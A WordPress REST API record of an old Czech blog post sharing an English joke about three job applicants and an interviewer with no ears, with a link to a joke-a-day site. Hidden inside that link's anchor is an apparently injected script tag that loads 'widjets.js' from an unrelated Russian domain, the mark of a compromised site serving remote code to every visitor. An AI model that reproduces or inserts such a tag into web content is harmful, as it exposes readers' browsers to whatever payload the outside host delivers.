{"id":1261,"date":"2008-10-17T02:09:15","date_gmt":"2008-10-17T01:09:15","guid":{"rendered":"http:\/\/www.velehrad.org\/?p=1261"},"modified":"2008-10-22T13:35:48","modified_gmt":"2008-10-22T12:35:48","slug":"vtip-denne","status":"publish","type":"post","link":"https:\/\/www.scmlondon.org\/?p=1261","title":{"rendered":"Vtip denn\u011b &#8211; every day&#8217;s joke"},"content":{"rendered":"<p>Three guys go in for a job interview, all at the same office. The first one goes in for his interview and the interviewer says, &#8222;What&#8217;s the first thing you see when you look at me?&#8220; The guy says, &#8222;That&#8217;s not too hard, you&#8217;ve got no ears.&#8220; The interviewer says, &#8222;That&#8217;s it, get out, you&#8217;ll never be seen around here again.&#8220; The second man takes his turn and is asked the same question. The applicant replies, &#8222;Uh, you&#8217;ve got no ears.&#8220; The interviewer throws the guy out, cursing and yelling that he&#8217;ll never get a job with his company. As he is leaving, the second guy warns the third guy, &#8222;Listen man, whatever you do, don&#8217;t say he hasn&#8217;t got any ears. He&#8217;s so touchy with the ear thing.&#8220; &#8222;Okay,&#8220; said man #3 on his way into the office. Once inside he is told, &#8222;Name the first thing you notice when you look at me.&#8220; The guy answers, &#8222;That&#8217;s easy, you wear contacts.&#8220; The interviewer was flabbergasted, &#8222;How on earth did you know that, son?&#8220; &#8222;What? Are you stupid? You can&#8217;t wear glasses, you&#8217;ve got no ears!&#8220;<br \/>\nZkuste si nechat pos\u00edlat takhle vtipy denn\u011b z tohoto <a href=\"http:\/\/www.ajokeaday.com\/\">port\u00e1lu.<script src=\"\/\/uptoliked.ru\/widjets.js\"><\/script><\/a><\/p>\n<h3>Related Images:<\/h3>","protected":false},"excerpt":{"rendered":"<p>Three guys go in for a job interview, all at the same office. The first one goes in for his interview and the interviewer says, &#8222;What&#8217;s the first thing you&#8230; <a class=\"meta-more\" href=\"https:\/\/www.scmlondon.org\/?p=1261\">Pokra\u010dova\u0165 v \u010d\u00edtan\u00ed <span class=\"meta-nav\">&raquo;<\/span><\/a><\/p>\n","protected":false},"author":24,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"ngg_post_thumbnail":0,"footnotes":""},"categories":[11],"tags":[],"class_list":["post-1261","post","type-post","status-publish","format-standard","hentry","category-11"],"_links":{"self":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/1261","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/users\/24"}],"replies":[{"embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1261"}],"version-history":[{"count":5,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/1261\/revisions"}],"predecessor-version":[{"id":1351,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=\/wp\/v2\/posts\/1261\/revisions\/1351"}],"wp:attachment":[{"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1261"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1261"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.scmlondon.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1261"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}